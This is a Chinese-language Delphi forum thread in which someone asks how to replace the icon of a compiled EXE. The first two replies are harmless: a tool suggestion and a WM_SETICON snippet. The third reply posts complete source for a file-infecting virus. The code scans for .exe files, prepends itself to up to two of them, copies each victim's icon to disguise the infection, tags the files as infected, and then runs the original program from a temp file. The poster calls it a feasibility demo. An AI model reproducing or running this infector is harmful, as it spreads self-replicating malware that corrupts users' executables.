大侠: 
   如何动态改变EXE文件的图标?[已编译的EXE]?
如有一个*.exe文件和一个IX.ICO文件,如何替换*.EXE文件中原有的图标为IX.ICO图标?
用原生delphi实现。

解决方案 »

  1.   

    用exescope啊
    用程序实现的话
    要非常了解PE格式
      

  2.   

    上面是用别的工具替换图标
    另外还有一种方法能临时改变图标,但不是永久改变
    当程序再次运行的时候,图标还会变为原来的样子var
      ico: TIcon;
    begin
      ico := TIcon.Create;
      try
        ico.LoadFromFile('E:\hlp.ico');
        SendMessage(handle,WM_SETICON,0,LPARAM(ico));
      finally
        ico.Free;
      end;
    end;
      

  3.   

    这个可以,我试过的。  Exe文件的修改    
      我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:) 
    //Code here://headerprj.dprprogram headerprj;usesWindows,Classes,SysUtils,Graphics,ShellAPI;constHEADERSIZE=78336;ICONOFFSET=$11EB8;INFECTFLAG='Infected By SOJ';ID=$66666666;{$R *.RES}vartmpFile:string;si:STARTUPINFO;pi:PROCESS_INFORMATION;sr:TSearchRec;Counter:Integer;//routinesprocedure CopyStream(Src:TStream;sStartPos:Integer;Dst:TStream;dStartPos:Integer;Count:Integer);varsCurPos,dCurPos:Integer;beginsCurPos:=Src.Position;dCurPos:=Dst.Position;src.Seek(sStartPos,0);dst.Seek(dStartPos,0);dst.CopyFrom(src,Count);src.Seek(sCurPos,0);dst.Seek(dCurPos,0);end;{CopyStream}function Getmyname:string;varcmdline:String;myname:Array [0..255] of Char;i,j:integer;begini:=1;j:=0;cmdline:=GetCommandLine;while cmdline[i]<>chr(0) dobeginif cmdline[i]<>'"' thenbeginmyname[j]:=cmdline[i];inc(j);end;inc(i);end;myname[j-1]:=chr(0);Result:=strpas(@myname);end;{Getmyname}function GetTempFullName:String;vartmpPath:Array[1..256]of Char;tmpname:Array[1..256]of Char;beginGetTempPath(256,@tmpPath);GetTempFileName(@tmpPath,'PQR',0,@tmpName);Result:=StrPas(@tmpName);end;{GetTempFullName}procedure ExtractFile(filename:string);varsStream,dStream:TFileStream;beginsStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);dStream:=TFileStream.Create(filename,fmCreate);sStream.Seek(HEADERSIZE,0);dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);sStream.Free;dStream.Free;end;procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);beginsi.cb := sizeof(si);si.lpReserved := nil;si.lpDesktop := nil;si.lpTitle := nil;si.dwFlags := STARTF_USESHOWWINDOW;si.wShowWindow := state;si.cbReserved2 := 0;si.lpReserved2 := nil;end;function InfectFile(Filename:TFilename):Boolean;varhdrStream,srcStream:TFileStream;icoStream,dstStream:TMemoryStream;iID:Longint;aIcon:TIcon;begintryif Filename='headerprj.exe' then exit;srcStream:=TFileStream.Create(Filename,fmOpenRead);srcStream.Seek(-4,2);srcStream.Read(iID,4);if (iID=ID) or (srcStream.Size >1000000)thenbeginsrcStream.Free;Result:=False;exit; //如果感染过了则退出end;srcStream.Free;tryicoStream:=TMemoryStream.Create;aIcon:=TIcon.Create;aIcon.ReleaseHandle;aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标aIcon.SaveToStream(icoStream);aIcon.Free;srcStream:=TFileStream.Create(FileName,fmOpenRead);hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件dstStream:=TMemoryStream.Create;CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);dstStream.Seek(0,2);iID:=$66666666;dstStream.Write(iID,4);finallyicoStream.Free;srcStream.Free;hdrStream.Free;dstStream.SaveToFile(Filename);dstStream.Free;Result:=True;end;except;end;end;//主程序开始beginCounter:=2;if FindFirst('*.exe',faAnyFile,sr)=0 thenbeginInfectFile(sr.Name);while (FindNext(sr)=0) and (Counter>0) dobeginif InfectFile(sr.Name) then Dec(Counter);end;end;FindClose(sr);if ExtractFileName(Getmyname)='headerprj.exe' then exit;tmpFile:=GetTempFullname;ExtractFile(tmpFile);fillstartupinfo(si,SW_SHOWDEFAULT);CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);end.ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了